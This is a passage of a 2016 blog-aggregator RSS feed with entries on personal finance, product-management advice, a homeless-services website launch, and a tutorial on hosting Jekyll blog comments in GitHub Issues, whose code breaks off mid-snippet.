 For the most part, we’ve done all this. A significant portion of our income goes into savings, and I know our income/expense ratio, and can PLAN our spending well in advance. We’ve boosted our income but reduced our lifestyle from 2013 levels, so more money goes into savings/investments.]&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Fri, 29 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/thoughts-on-money-from-2013</guid></item><item><title>Pretty Git Graphs</title><link>https://june.kim/pretty-git-graphs/</link><author>june.kim</author><pubDate>Fri, 29 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/pretty-git-graphs/</guid></item><item><title>iTerm + Zsh</title><link>https://june.kim/terminal-setup/</link><author>june.kim</author><pubDate>Fri, 29 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/terminal-setup/</guid></item><item><title>Xcode .gitignore</title><link>https://june.kim/xcode-gitignore/</link><author>june.kim</author><pubDate>Fri, 29 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/xcode-gitignore/</guid></item><item><title>Links - January 29th, 2016</title><link>https://faingezicht.com/links/2016/01/29/links/</link><description>Random assortment of thoughts:

* I was sad to hear that Marvin Minsky passed away this week. I was exposed to his work by chance, as I picked up &lt;a href="http://aurellem.org/society-of-mind/"&gt;Society of Mind&lt;/a&gt; at a used book sale in Chicago during the summer I read GEB, and became obsessed with the seminal ideas of AI and consciousness. His book definitely helped me shape my views on intelligence. 

* A couple of weeks ago I started compiling a &lt;a href="https://github.com/avyfain/resources/"&gt;list of resources worth reading/watching&lt;/a&gt;. They are mostly programming related, but we'll see how the list grows.

* My resource list prompted my friend Leon to introduce me to Buster Benson's &lt;a href="https://github.com/busterbenson/public/blob/master/Codex.md"&gt;Codex Vitae&lt;/a&gt; which is an awesome idea. I might do something similar in the future.

* Attention is a zero sum game. I have started using Twitter which is fun (follow me! &lt;a href="https://www.twitter.com/avyfain"&gt;@avyfain&lt;/a&gt;), but is super time consuming. Its hard to come to terms with the fact that the stream is infinite while time is not. Between that, and my new goal of reading 3 books per month, blogs and news have taken the back seat.

* Complex systems are awesome. I have been reading about them, &lt;a href="http://www.amazon.com/Why-Information-Grows-Evolution-Economies/dp/0465048994"&gt;and so should you&lt;/a&gt;.

Anyway, links for the past few days:</description><author>Avy Faingezicht</author><pubDate>Fri, 29 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/01/29/links/</guid></item><item><title>AskIzzy</title><link>https://smcleod.net/2016/01/askizzy/</link><description>&lt;h2 id="today-we-launched-a-mobile-website-for-homeless-people"&gt;Today we launched a mobile website for homeless people&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://askizzy.org.au"&gt;&lt;img src="askizzy.png" style="width: 600px;" /&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip; and it was launched by &lt;a href="http://www.heraldsun.com.au/news/victoria/askizzy-app-connects-the-homeless-to-food-shelter-and-health-services/news-story/bfae67275552be421af4dd54bfd575a6?nk=ebd042d1d2789514c4e8553cb5633711-1454053888"&gt;one of Australia&amp;rsquo;s many recent Prime Ministers&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="today-alone-we-served-up-over-87000-requests"&gt;Today alone we served up over 87,000 requests&lt;/h3&gt;
&lt;p&gt;As many of you know, I work with &lt;a href="https://infoxchange.org"&gt;Infoxchange&lt;/a&gt; as the operations lead.&lt;/p&gt;
&lt;p&gt;When I first heard the idea of a website or app for people that have found or are worried about finding themselves homeless in Australia I really didn&amp;rsquo;t think it made sense - until I saw the stats showing how many homeless people in Australia have regular access to a smart phone and data either via a cellular provider or free WiFi.&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Fri, 29 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/01/askizzy/</guid></item><item><title>Janathon 2016 #28</title><link>https://rjp.is/blogging/posts/janathon-2016-2/</link><description>Three walks. Because I&amp;rsquo;m worth it. And also I didn&amp;rsquo;t plan my day off very well.
[Picking up new art] [Thames wander] [Picking up new shoes]</description><author>infrequent oscillations</author><pubDate>Thu, 28 Jan 2016 23:49:24 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-2/</guid></item><item><title>What being a PM is really like - Software is easy, People are hard</title><link>/2016/01/28/What-being-a-PM-is-really-like-Software-is-easy-People-are-hard/</link><description>&lt;p&gt;In recent months I&amp;rsquo;ve had the question nearly once a week about advice/tips for becoming a Product Manager or more commonly referred to as PM. These are generally coming from people that are either currently engineers, or previously were and are in some engineer/customer role such as a sales engineer or solution architect. There&amp;rsquo;s a number of &lt;a href="http://www.amazon.com/Inspired-Create-Products-Customers-Love/dp/0981690408?tag=mypred-20"&gt;high level&lt;/a&gt; pieces talking about PM and it often feels glorious, I mean you get to make product decisions right? You get to call some shots. Well that sometimes may be true, but don&amp;rsquo;t assume it&amp;rsquo;s all rainbows and sparkles.&lt;/p&gt;
&lt;p&gt;Especially as a first time PM what your day to day will look like won&amp;rsquo;t be debating strategy all day long. Here&amp;rsquo;s a few of the good and the bad sides of being a PM.&lt;/p&gt;
&lt;h3 id="plenty-of-grunt-work"&gt;
&lt;div&gt;
Plenty of grunt work
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;While you may get to make a decision or two, the bulk of your time will not be thinking about grandiose visions, instead you&amp;rsquo;ll be doing a lot to gather data. There&amp;rsquo;s a lot of means for gathering data across lots of sources, the more you use the better you&amp;rsquo;ll be. Knowing the ones you steer towards, as well as ones you steer away from is useful so you can balance a bias more fairly. For myself SQL is a go-to, then customer interactions both qualitative and quantitative such as surveys, following what media is saying about your space is important as well. And while user studies are often relegated to design and UX, as a PM you need to make sure it at least happens (&lt;a href="http://www.invisionapp.com/"&gt;Invision App&lt;/a&gt; is a favorite for lightweight tests).&lt;/p&gt;
&lt;p&gt;In a given week I probably spend 10 hrs interacting with customers, looking at data, and sadly that&amp;rsquo;s probably not enough.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A few practical examples of this&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Each morning I send emails to 10-20 users who used the product for the first time, yes this is automated but carving out 30 minutes of my day to actually follow-up with each of them is less automated.&lt;/p&gt;
&lt;p&gt;Another example is keeping a health of business dashboard up to date. Personally I use google sheets for this. Within one spreadsheet I have monthly and weekly targets as well as how we’re tracking against them. These are all updated on actual real time data, powered by Heroku’s dataclips with a simple &lt;code&gt;=importCSV(‘http://dataclips.heroku.com/abcdefghij….csv’)&lt;/code&gt;. In total my google spreadsheets has 1 high level overview, with about 20 underlying sheets that do all of the computations. In any given month 1 of my key 4-5 goals may be missed, which then spawns digging in deeper to figure out why and what we can do about it.&lt;/p&gt;
&lt;h3 id="dictating-vs-consensus"&gt;
&lt;div&gt;
Dictating vs. consensus
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;From a product decision making perspective you can force alignment by explicitly making every decision, or you can allow decisions to be made as a group voting if needed. Expect to use some balance of both of these among the team, and neither is never perfect. When it comes to outside the team you may still use both, but steer more strongly one way or the other. For example with the executive team it may be more consensus, with marketing it may be dictating your product roadmap which they can help support.&lt;/p&gt;
&lt;p&gt;Even within the team there will be times a decision must be made and there will be some people that don&amp;rsquo;t align. It&amp;rsquo;s key that you make the decision clearly and explicitly. Even though some individuals don&amp;rsquo;t like it, they won&amp;rsquo;t fight against it&amp;hellip; unless you make a habit of taking the input, then discarding it and going along your &amp;lsquo;intuition&amp;rsquo;. Even when there&amp;rsquo;s a strong case based on the data it may not be as clear as you think.&lt;/p&gt;
&lt;p&gt;In contrast, decision making by consensus most people will feel happier that they provided input into the product. If you take everyone&amp;rsquo;s input expect to end up with a product that feels like 10 people designed it, needless to say incoherent.&lt;/p&gt;
&lt;p&gt;As a PM expect to do a lot of listening, a good bit of convincing, and some occasional big decision making.&lt;/p&gt;
&lt;h3 id="the-pain-you-feel-inside-the-building-doesnt-matter"&gt;
&lt;div&gt;
The pain you feel inside the building doesn&amp;rsquo;t matter
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;You may think you&amp;rsquo;re solving a problem that exists for users, when in reality there was no problem at all. This is just a reminder that you need to keep empathy in mind above so much else.&lt;/p&gt;
&lt;p&gt;As an example, once a data team put in place a tool, supposedly for me. I looked at the tool and more or less didn&amp;rsquo;t understand why it was in place. They proceeded to explain that my problem was it took me too long to write SQL, so this tool will help me get the reports I need without SQL. At that point I proceeded to actually list off all the issues I did have, none of which &lt;a href="http://www.craigkerstiens.com/categories/postgres/"&gt;were SQL&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Prescribing a solution without knowing clearly &lt;strong&gt;from customers&lt;/strong&gt; what the problem is will leave you in a bad spot. All this means you have to set aside building the tool you want to use, and make sure you know what the &lt;a href="http://headrush.typepad.com/creating_passionate_users/2005/01/keeping_users_e.html"&gt;customer wants&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="marketing-is-your-job"&gt;
&lt;div&gt;
Marketing is your job
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Not external marketing, though often that work may still fall to you, but rather internal marketing.&lt;/p&gt;
&lt;p&gt;It’s important that you internally market the wins for your &lt;em&gt;team&lt;/em&gt;. These wins should very much be for the team, and not for your own benefit. The best PMs seem to disappear into the background, this is because you’re more surfacing all the work your team is doing than any of the details you helped coordinate. This is often counter to our natural instinct to tout our own accomplishments. This is only exaggerated in PM role, one where things can still ship if you’re not there, so there can often be a tendency to try to highlight the roles value. Fight that urge to self market.&lt;/p&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;p&gt;Rest assured though–getting the team focused on solving the right problems, and then surfacing their wins will only help you go faster.&lt;/p&gt;
&lt;h3 id="on-leading"&gt;
&lt;div&gt;
On leading
&lt;/div&gt;
&lt;/h3&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;p&gt;At the end of the day ensuring the product is advancing is your job, so be prepared to do what you need to whether it’s leading or not to accomplish that.&lt;/p&gt;
&lt;h3 id="its-not-all-rainbows-but-it-is-fun"&gt;
&lt;div&gt;
It’s not all rainbows, but it is fun
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;The range of things you’ll have to focus on can be diverse and complex. In the end if you get a rush out of shipping and launching products, then all the work that goes into it can make it all worthwhile. It’s as much about figuring out what customers want and then getting your team building the right thing. For a first time PM it can be summed up by the notion that software is easy, people are hard.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Special thanks to &lt;a href="http://www.twitter.com/lukasfittl"&gt;Lukas Fittl&lt;/a&gt; and &lt;a href="http://www.twitter.com/iamclovin"&gt;Arun Thampi&lt;/a&gt; for reviews and feedback on this post.&lt;/em&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Thu, 28 Jan 2016 22:55:56 GMT</pubDate><guid isPermaLink="true">/2016/01/28/What-being-a-PM-is-really-like-Software-is-easy-People-are-hard/</guid></item><item><title>Lecture at Ecole Polytechnique: Taking Network Management into the 21st Century</title><link>https://rob.sh/post/214/</link><description>&lt;p&gt;&lt;a href="https://www.linkedin.com/in/wmtownsley"&gt;Mark Townsley&lt;/a&gt; and &lt;a href="http://perso.telecom-paristech.fr/~rougierj/My_Web_Page/Welcome.html"&gt;Jean-Louis Rougier&lt;/a&gt; again invited me to come and lecture at École Polytechnique this year. Their course there focuses on analysing the success of network protocols - using the (fantastic) framework laid out in RFC5218. Given that I&amp;rsquo;d spoken about SR for the last couple of years in my lecture there, and was giving a (slightly) updated version of the SR lecture at Telecom ParisTech for JLR&amp;rsquo;s &amp;lsquo;Future Internet&amp;rsquo; course earlier in the week, I decided to shift the focus of my lecture at X this year to the management plane. Particularly, looking at some of the issues with SNMP, and how these have pushed adoption of alternative management approaches, and what this has fundamentally meant for the way that we build network management today. I then shifted to explaining what we are doing in &lt;a href="http://www.openconfig.net/"&gt;OpenConfig&lt;/a&gt;, and how we might address some of those issues - again, using the framework in 5218.&lt;/p&gt;</description><author>rob.sh</author><pubDate>Thu, 28 Jan 2016 14:00:00 GMT</pubDate><guid isPermaLink="true">https://rob.sh/post/214/</guid></item><item><title>Creating an Elixir module</title><link>https://www.danielcorin.com/posts/2016/2016-01-28-first-elixir-module/</link><description>Creating an Elixir module</description><author>Thought Eddies</author><pubDate>Thu, 28 Jan 2016 09:23:00 GMT</pubDate><guid isPermaLink="true">https://www.danielcorin.com/posts/2016/2016-01-28-first-elixir-module/</guid></item><item><title>Janathon 2016 #27</title><link>https://rjp.is/blogging/posts/janathon-2016-27-2/</link><description>Not quite as restful but the Jubilee Line was buggered which meant walking to Stratford instead made sense.
Yes.
[Just about 7.5km to Stratford]</description><author>infrequent oscillations</author><pubDate>Thu, 28 Jan 2016 01:32:19 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-27-2/</guid></item><item><title>Running Google’s Deep Learning course material under Windows</title><link>https://www.umarniz.com/running-google-s-deep-learning-course-material-under-windows/</link><description>I was doing the Google’s deep learning course on Udacity today and noticed that TensorFlow doesn’t install under Windows and a lot of people…</description><author>Umar Nizamani | RSS Feed</author><pubDate>Wed, 27 Jan 2016 13:28:39 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/running-google-s-deep-learning-course-material-under-windows/</guid></item><item><title>My BIWA Summit Presentations</title><link>https://tanelpoder.com/2016/01/26/my-biwa-summit-presentations/</link><description>&lt;p&gt;Here are the two BIWA Summit 2016 presentations I delivered today. The first one is a collection of high level thoughts (and opinions) of mine and the 2nd one is more technical:&lt;/p&gt;
  
&lt;div style="margin-bottom: 5px;"&gt;
  &lt;strong&gt; &lt;a href="https://www.slideshare.net/tanelp/sql-in-the-hybrid-world" target="_blank" title="SQL in the Hybrid World"&gt;SQL in the Hybrid World&lt;/a&gt; &lt;/strong&gt; from &lt;strong&gt;&lt;a href="http://www.slideshare.net/tanelp" target="_blank"&gt;Tanel Poder&lt;/a&gt;&lt;/strong&gt;
&lt;/div&gt;
  
&lt;div style="margin-bottom: 5px;"&gt;
  &lt;strong&gt; &lt;a href="https://www.slideshare.net/tanelp/sql-monitoring-in-oracle-database-12c" target="_blank" title="SQL Monitoring in Oracle Database 12c"&gt;SQL Monitoring in Oracle Database 12c&lt;/a&gt; &lt;/strong&gt; from &lt;strong&gt;&lt;a href="http://www.slideshare.net/tanelp" target="_blank"&gt;Tanel Poder&lt;/a&gt;&lt;/strong&gt;
&lt;/div&gt;
&lt;p&gt; &lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Wed, 27 Jan 2016 01:01:45 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2016/01/26/my-biwa-summit-presentations/</guid></item><item><title>A fast geo database with Google S2 take #2</title><link>https://blog.nobugware.com/post/2016/geo_db_s2_geohash_database/</link><description>Six months ago, I wrote on this blog about Geohashes and LevelDB with Go, to create a fast geo database.
This post is very similar as it works the same way but replacing GeoHashes with Google S2 library for better performances.
There is an S2 Golang implementation maintened by Google not as complete as the C++ one but close.
For the storage this post will stay agnostic to avoid any troll, but it applies to any Key Value storages: LevelDB/RocksDB, LMDB, Redis&amp;hellip;</description><author>Fabrice Aneche</author><pubDate>Tue, 26 Jan 2016 21:01:52 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/geo_db_s2_geohash_database/</guid></item><item><title>Workflows for a small team of gits</title><link>https://blog.samuellevy.com/post/52-workflows-for-a-small-team-of-gits.html</link><description>&lt;p&gt;In my current role at cpap.com, I'm working on improving the workflow of our small development team. We made the switch from SVN to git a couple of years ago, but the tools we had available at the time didn't really support us well, so we had to fight to stop using git like we used SVN.&lt;/p&gt;&lt;p&gt;As the developers got more comfortable with git (and as we brought in new blood to the company), the workflow has organically changed to be closer to the original plan. Now only the lead developers push changes into master, and developers pull off feature branches when they get a new ticket.&lt;/p&gt;&lt;p&gt;It's working well, b…&lt;/p&gt;</description><author>Sam says you should read this</author><pubDate>Tue, 26 Jan 2016 15:08:11 GMT</pubDate><guid isPermaLink="true">https://blog.samuellevy.com/post/52-workflows-for-a-small-team-of-gits.html</guid></item><item><title>Janathon 2016 #26</title><link>https://rjp.is/blogging/posts/janathon-2016-26-2/</link><description>Everything from now until Saturday is basically rest.
Because Saturday is a biggie - Winter Cakeathon.
[Short walk commute]</description><author>infrequent oscillations</author><pubDate>Tue, 26 Jan 2016 12:58:47 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-26-2/</guid></item><item><title>The Hitchhiker’s Guide to the Galaxy (Hitchhiker's Guide to the Galaxy, #1)</title><link>https://olshansky.info/book/the_hitchhikers_guide_to_the_galaxy_hitchhikers_guide_to_the_galaxy_1/</link><description>Olshansky's review of The Hitchhiker’s Guide to the Galaxy (Hitchhiker's Guide to the Galaxy, #1) by Douglas Adams</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 26 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/the_hitchhikers_guide_to_the_galaxy_hitchhikers_guide_to_the_galaxy_1/</guid></item><item><title>Hosting comments within issues on Github Pages</title><link>https://sean.lane.sh/posts/2016/01/Hosting-comments-within-issues-on-Github-Pages/</link><description>&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; As of February 2018, the repo for this website is public, so I moved the comments to the same repo instead of using a separate project for them.&lt;/p&gt;
&lt;p&gt;When I created a blog to have a place to write and document things, as well as complete a class requirement for &lt;a href="https://cs.byu.edu/course/cs-404"&gt;CS 404&lt;/a&gt;, there were properties that I wanted it to have. I wanted it to be simple, to be hosted on a reputable platform, to be under my control, and to perform well. By using Github Pages to host a run a Jekyll static site, I was pretty much able to get everything in one fell swoop.&lt;/p&gt;
&lt;p&gt;However, one thing I found lacking was comments or giving anyone a way to respond or comment on a given blog post. I looked around for a few different solutions. One option that many turn to is using &lt;a href="https://disqus.com/"&gt;Disqus&lt;/a&gt; comments. It is easy to implement, requiring a simple snippet of Javascript to be included on any post where you would like comments to be included, but several drawbacks of using Disqus quickly became apparent. As an additional Javascript component, it requires additional requests that can quickly bog down what was once a quick, simple website. &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; Other issues of privacy and security also came up with Disqus, and any third party service you trust is just another liability for your website. &lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; Other products I looked at were &lt;a href="https://www.discourse.org/"&gt;Discourse&lt;/a&gt; and &lt;a href="http://pooleapp.com/"&gt;Poole&lt;/a&gt;, but I really wanted to avoid making the site any more complicated and having to rely on a third party.&lt;/p&gt;
&lt;p&gt;I found a blog post by &lt;a href="http://ivanzuzak.info/"&gt;Ivan Zuzak&lt;/a&gt; that detailed how you can utilize Github&amp;rsquo;s Issue Tracking system to host the comments for a Github Pages site. &lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt; It is a really nifty hack that adds comments hosted via the same platform that the site is hosted one, with only a couple steps added to my workflow when posting.&lt;/p&gt;
&lt;p&gt;I followed Ivan&amp;rsquo;s steps, with a small change to his instructions for my own situation. The reason for the change is that I host my site in a private Github repository, and I didn&amp;rsquo;t want to make it public. The fix was to simply use a second, public repo for the comments while I continue to keep the website in the private repo. Aside from that, everything worked perfectly. The following steps (which are further explained in Ivan&amp;rsquo;s blog post) set the system in place:&lt;/p&gt;
&lt;h2 id="adding-the-foundation-to-your-site"&gt;Adding the foundation to your site&lt;/h2&gt;
&lt;p&gt;1. (Optional) Create a public repository where you can create issues to host the comments. If the repo where your site is hosted is private, then the issues will be private as well. Even if the website has authorization to pull the comments for public viewing, no one would be able to submit new comments via Github without being explicitly granted access to at least view the repo. My work around is creating a second public repo to store my comments. If your Github Pages site is already in a public repo, then you can simply use the repo&amp;rsquo;s issue for comments.&lt;/p&gt;
&lt;p&gt;2. &lt;a href="https://github.com/settings/applications/new"&gt;Register a New OAuth Application with GitHub. &lt;/a&gt; Give it a name that you will remember it by (doesn&amp;rsquo;t really matter for our purposes). The Homepage and Authorization callback URLs should both be the URL of your blog. For example, mine are set to &lt;code&gt;http://seanlane.net&lt;/code&gt;, which can be in seen in the following image:&lt;/p&gt;
&lt;figure&gt;&lt;img src="https://sean.lane.sh/images/2016/01/comments_on_github/oauth_app.png" /&gt;&lt;figcaption&gt;
            &lt;h4&gt;Adding a new OAUTH Application in Github&lt;/h4&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;This authorizes the site to by-pass the &lt;a href="https://en.wikipedia.org/wiki/Same-origin_policy"&gt;Same-Origin policy&lt;/a&gt;, which is further explained in Ivan&amp;rsquo;s piece &lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;3. I added the following code to the Jekyll template for each post:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-html"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;{% if page.commentIssueId %}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &amp;lt;&lt;span style="color: #f92672;"&gt;div&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;id&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"comments"&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &amp;lt;&lt;span style="color: #f92672;"&gt;h2&lt;/span&gt;&amp;gt;Comments&amp;lt;/&lt;span style="color: #f92672;"&gt;h2&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &amp;lt;&lt;span style="color: #f92672;"&gt;div&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;id&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"header"&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        Want to leave a comment? Visit &amp;lt;&lt;span style="color: #f92672;"&gt;a&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;href&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"https://github.com/seanlane/seanlane-comments/issues/{{page.commentIssueId}}"&lt;/span&gt;&amp;gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;        this post's issue page on GitHub&amp;lt;/&lt;span style="color: #f92672;"&gt;a&lt;/span&gt;&amp;gt; (you'll need a GitHub account. What? Like you already don't have one? :).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &amp;lt;&lt;span style="color: #f92672;"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &amp;lt;/&lt;span style="color: #f92672;"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &amp;lt;&lt;span style="color: #f92672;"&gt;script&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;type&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"text/javascript"&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;src&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color: #f92672;"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &amp;lt;&lt;span style="color: #f92672;"&gt;script&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;type&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"text/javascript"&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;src&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"http://datejs.googlecode.com/svn/trunk/build/date-en-US.js"&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color: #f92672;"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;  &amp;lt;&lt;span style="color: #f92672;"&gt;script&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;type&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"text/javascript"&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;      
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;      &lt;span style="color: #66d9ef;"&gt;function&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;loadComments&lt;/span&gt;(&lt;span style="color: #a6e22e;"&gt;data&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;          &lt;span style="color: #66d9ef;"&gt;for&lt;/span&gt; (&lt;span style="color: #66d9ef;"&gt;var&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;; &lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt; &lt;span style="color: #f92672;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;data&lt;/span&gt;.&lt;span style="color: #a6e22e;"&gt;length&lt;/span&gt;; &lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt;&lt;span style="color: #f92672;"&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;              &lt;span style="color: #66d9ef;"&gt;var&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cuser&lt;/span&gt; &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;data&lt;/span&gt;[&lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt;].&lt;span style="color: #a6e22e;"&gt;user&lt;/span&gt;.&lt;span style="color: #a6e22e;"&gt;login&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;              &lt;span style="color: #66d9ef;"&gt;var&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cuserlink&lt;/span&gt; &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"https://www.github.com/"&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;data&lt;/span&gt;[&lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt;].&lt;span style="color: #a6e22e;"&gt;user&lt;/span&gt;.&lt;span style="color: #a6e22e;"&gt;login&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;              &lt;span style="color: #66d9ef;"&gt;var&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;clink&lt;/span&gt; &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"https://github.com/seanlane/seanlane-comments/issues/{{page.commentIssueId}}#issuecomment-"&lt;/span&gt; &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;                  &lt;span style="color: #a6e22e;"&gt;data&lt;/span&gt;[&lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt;].&lt;span style="color: #a6e22e;"&gt;url&lt;/span&gt;.&lt;span style="color: #a6e22e;"&gt;substring&lt;/span&gt;(&lt;span style="color: #a6e22e;"&gt;data&lt;/span&gt;[&lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt;].&lt;span style="color: #a6e22e;"&gt;url&lt;/span&gt;.&lt;span style="color: #a6e22e;"&gt;lastIndexOf&lt;/span&gt;(&lt;span style="color: #e6db74;"&gt;"/"&lt;/span&gt;) &lt;span style="color: #f92672;"&gt;+&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;              &lt;span style="color: #66d9ef;"&gt;var&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;cbody&lt;/span&gt; &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;data&lt;/span&gt;[&lt;span style="color: #a6e22e;"&gt;i&lt;/span&gt;].&lt;span style="color: #a6e22e;"&gt;body_html&lt;/span&gt;;
